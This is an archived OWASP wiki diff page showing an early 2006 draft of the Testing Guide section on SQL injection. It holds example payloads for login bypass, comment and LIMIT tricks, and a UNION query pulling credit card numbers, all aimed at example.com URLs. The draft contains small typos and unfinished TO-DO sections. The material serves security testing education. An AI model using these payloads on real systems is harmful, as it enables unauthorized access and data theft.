This site is the archived OWASP Foundation Wiki and is no longer accepting Account Requests.
To view the new OWASP Foundation website, please visit https://owasp.org

Difference between revisions of "Testing for SQL Injection (OTG-INPVAL-005)"

From OWASP
Jump to: navigation, search
 
Line 1: Line 1:
 
{{Template:OWASP Testing Guide v2}}
 
{{Template:OWASP Testing Guide v2}}
  
== Short Description of the Issue (Topic and Explanation) ==  
+
== Brief Summary ==
...<br>
+
The attack of type SQL injection allows to insert or "inject" a sql query through the input data. Through the sql injection is possible to read sensitive data from the database, to modify the values, to execute administration operations on the database (such shutdown the DBMS) or to recover the content of a given file present on the DBMS filesystem.
 +
 
 +
==  Description of the Issue ==
 +
Three classes of attack exist: inband, out-of-band and inferential type. The type inband uses the same channel of the attack in order to receive the information, the channel out-of-band uses an external channel regarding that one used for the attack to receive the information (for example taking advantage of other protocols of communication, like as smtp protocol), at last the inferential uses inferential methods for being able to gain the wished value. A sql injection vulnerability it comes generally found through the presence of particular error messages, products as a result of the tests carry out from the tester. Exist however cases in which the application is written in such way that return one customized error page. In this case we'll speak about Blind Sql Injection. Extending such meant, we can suppose be found in presence of a sql injection vulnerability of type blind in those cases in which, we are not in degree, through the analysis of the page, to got some useful information.
 +
 
 +
==  Black Box testing and example ==
 +
 
 +
=== Standard Sql Injection Attack ===
 +
 
 +
We consider following sql query:
 +
 
 +
 
 +
SELECT * FROM Users WHERE Username='$username' AND Password='$password'
 +
 
 +
 
 +
A query enough similar is generally used from the web applications in order to authenticate a user. If the query returns a value it means that inside the database a user with that credentials exists, then the user is allowed to login the system, otherwise the access id denied.
 +
The values of the input fields are inserted from the user generally through a web form.
 +
We suppose to insert the followed Username and Password values:
 +
 
 +
 
 +
$username = 1' or '1' = '1
 +
$password = 1' or '1' = '1
 +
 
 +
 
 +
The query turning out will be:
 +
 
 +
 
 +
SELECT * FROM Users WHERE Username= '' OR '1' = '1' AND Password= '' OR '1' = '1'
 +
 
 +
 
 +
Supposing that the values of the parameters are sent to the server through GET method, and supposing that the situated domain of the vulnerable web site is www.example.com, the request that we'll go to carry out will be:
 +
 
 +
 
 +
http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1&password=1'%20or%20'1'%20=%20'1
 +
 
 +
 
 +
After a short analysis we notice that the query return a value (or one series of values) because the  condition is always true. In this way the system has authenticated the user without know the username and password.
 +
We consider another query, similar to the previous query, but more similar to the query really used in the web applications for the user authentication:
 +
 
 +
 
 +
SELECT * FROM Users WHERE ((Username='$username') AND (Password=MD5 ('$password')))
 +
 
 +
 
 +
In this case, there are two problems, one due to the use of the parentheses and one due to the use of MD5 hash function.  
 +
First of all we resolve the problem of the parenthesis.  
 +
That comes simply made is to add a number of closing parenthesis until when we'll obtain a corrected query. To resolve the second problem we try to invalidate the second condition.
 +
We add to ours query a final symbol that means that a comment is beginning. In this way all that follows such symbol comes considered a comment.
 +
Every DBMS has the own symbols of comment, however a common symbol to the greater part of the database is /*.
 +
Saying this, the values that we'll use as Username and Password are:
 +
 
 +
 
 +
$username = 1' or '1' = '1'))/*
 +
$password = foo
 +
 
 +
 
 +
In this way we'll get the following query:
 +
 
 +
 
 +
SELECT * FROM Users WHERE ((Username='1' or '1' = '1'))/*') AND (Password=MD5 ('$password')))
 +
 
 +
 
 +
The url request will be:
 +
 
 +
 
 +
http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))/*&password=foo
 +
 
 +
 
 +
Which return a number of values. Sometimes, the authentication code verify that the number of returned tuple is exactly equal to 1. In the previous examples, this situation difficultly will be (less than in the database there is only one value).
 +
In order to go around to this problem, it is enough to insert a sql command, that it imposes that the number of the returned tuple must be one
 +
In order to make this, we use the command "LIMIT <num>", where <num> is the number of the tuple that have to be returned. The values of the fields of Username and Password regarding the previous example will be modified according the following way:
 +
 
 +
 
 +
$username = 1' or '1' = '1')) LIMIT 1/*
 +
$password = foo
 +
 
 +
 
 +
Producing a request like the follow:
 +
 
 +
 
 +
http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))%20LIMIT%201/*&password=foo
 +
 
 +
 
 +
=== Union Query Sql Injection Attack ===
 +
Another test to carry out, regards uses of the UNION operation. Through such operation is possible, in case of Sql Injection vulnerability, to join a query, purposely forged from the tester, to the original query. The result of the forget query will be joined to the result of the original query, allowing the tester to obtain the values of fields of other tables.
 +
We suppose for our examples that the query executed from the server is the following:
 +
 
 +
 
 +
SELECT Name, Phone, Address FROM Users WHERE Id=$id
 +
 
 +
 
 +
We will set the following Id value:
 +
 
 +
 
 +
$id=1 UNION ALL SELECT crediNumber,1,1 FROM CreditCarTable
 +
 
 +
 
 +
We got the following query:
 +
 
 +
 
 +
SELECT Name, Phone, Address FROM Users WHERE Id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCarTable
 +
 
 +
 
 +
which will join the result of the original query whit all the users credi card.
 +
The keyword ALL is necessary to go around the query that make use of keyword DISTINCT
 +
Moreover we notice that beyond the credit card numbers, we have selected other two values without meant. This is necessary, because the two query must have an equal number of parameters, pain the raising of a Syntax Error.
 +
 
 +
== Blind Sql Injection ==
 +
TO-DO
  
== Black Box testing and example ==
 
'''Testing for Topic X vulnerabilities:''' <br>
 
...<br>
 
'''Result Expected:'''<br>
 
...<br><br>
 
== Gray Box testing and example ==
 
'''Testing for Topic X vulnerabilities:'''<br>
 
...<br>
 
'''Result Expected:'''<br>
 
...<br><br>
 
 
== References ==
 
== References ==
'''Whitepapers'''<br>
+
To-DO
...<br>
 
'''Tools'''<br>
 
...<br>
 
{{Category:OWASP Testing Project AoC}}
 
[[OWASP Testing Guide v2 Table of Contents]]
 
  
 
{{Template:Stub}}
 
{{Template:Stub}}

Revision as of 16:59, 26 October 2006

OWASP Testing Guide v2 Table of Contents

Brief Summary

The attack of type SQL injection allows to insert or "inject" a sql query through the input data. Through the sql injection is possible to read sensitive data from the database, to modify the values, to execute administration operations on the database (such shutdown the DBMS) or to recover the content of a given file present on the DBMS filesystem.

Description of the Issue

Three classes of attack exist: inband, out-of-band and inferential type. The type inband uses the same channel of the attack in order to receive the information, the channel out-of-band uses an external channel regarding that one used for the attack to receive the information (for example taking advantage of other protocols of communication, like as smtp protocol), at last the inferential uses inferential methods for being able to gain the wished value. A sql injection vulnerability it comes generally found through the presence of particular error messages, products as a result of the tests carry out from the tester. Exist however cases in which the application is written in such way that return one customized error page. In this case we'll speak about Blind Sql Injection. Extending such meant, we can suppose be found in presence of a sql injection vulnerability of type blind in those cases in which, we are not in degree, through the analysis of the page, to got some useful information.

Black Box testing and example

Standard Sql Injection Attack

We consider following sql query:


SELECT * FROM Users WHERE Username='$username' AND Password='$password'


A query enough similar is generally used from the web applications in order to authenticate a user. If the query returns a value it means that inside the database a user with that credentials exists, then the user is allowed to login the system, otherwise the access id denied. The values of the input fields are inserted from the user generally through a web form. We suppose to insert the followed Username and Password values:


$username = 1' or '1' = '1 $password = 1' or '1' = '1


The query turning out will be:


SELECT * FROM Users WHERE Username= OR '1' = '1' AND Password= OR '1' = '1'


Supposing that the values of the parameters are sent to the server through GET method, and supposing that the situated domain of the vulnerable web site is www.example.com, the request that we'll go to carry out will be:


http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1&password=1'%20or%20'1'%20=%20'1


After a short analysis we notice that the query return a value (or one series of values) because the condition is always true. In this way the system has authenticated the user without know the username and password. We consider another query, similar to the previous query, but more similar to the query really used in the web applications for the user authentication:


SELECT * FROM Users WHERE ((Username='$username') AND (Password=MD5 ('$password')))


In this case, there are two problems, one due to the use of the parentheses and one due to the use of MD5 hash function. First of all we resolve the problem of the parenthesis. That comes simply made is to add a number of closing parenthesis until when we'll obtain a corrected query. To resolve the second problem we try to invalidate the second condition. We add to ours query a final symbol that means that a comment is beginning. In this way all that follows such symbol comes considered a comment. Every DBMS has the own symbols of comment, however a common symbol to the greater part of the database is /*. Saying this, the values that we'll use as Username and Password are:


$username = 1' or '1' = '1'))/* $password = foo


In this way we'll get the following query:


SELECT * FROM Users WHERE ((Username='1' or '1' = '1'))/*') AND (Password=MD5 ('$password')))


The url request will be:


http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))/*&password=foo


Which return a number of values. Sometimes, the authentication code verify that the number of returned tuple is exactly equal to 1. In the previous examples, this situation difficultly will be (less than in the database there is only one value). In order to go around to this problem, it is enough to insert a sql command, that it imposes that the number of the returned tuple must be one In order to make this, we use the command "LIMIT <num>", where <num> is the number of the tuple that have to be returned. The values of the fields of Username and Password regarding the previous example will be modified according the following way:


$username = 1' or '1' = '1')) LIMIT 1/* $password = foo


Producing a request like the follow:


http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))%20LIMIT%201/*&password=foo


Union Query Sql Injection Attack

Another test to carry out, regards uses of the UNION operation. Through such operation is possible, in case of Sql Injection vulnerability, to join a query, purposely forged from the tester, to the original query. The result of the forget query will be joined to the result of the original query, allowing the tester to obtain the values of fields of other tables. We suppose for our examples that the query executed from the server is the following:


SELECT Name, Phone, Address FROM Users WHERE Id=$id


We will set the following Id value:


$id=1 UNION ALL SELECT crediNumber,1,1 FROM CreditCarTable


We got the following query:


SELECT Name, Phone, Address FROM Users WHERE Id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCarTable


which will join the result of the original query whit all the users credi card. The keyword ALL is necessary to go around the query that make use of keyword DISTINCT Moreover we notice that beyond the credit card numbers, we have selected other two values without meant. This is necessary, because the two query must have an equal number of parameters, pain the raising of a Syntax Error.

Blind Sql Injection

TO-DO

References

To-DO

This article is a stub. You can help OWASP by expanding it or discussing it on its Talk page.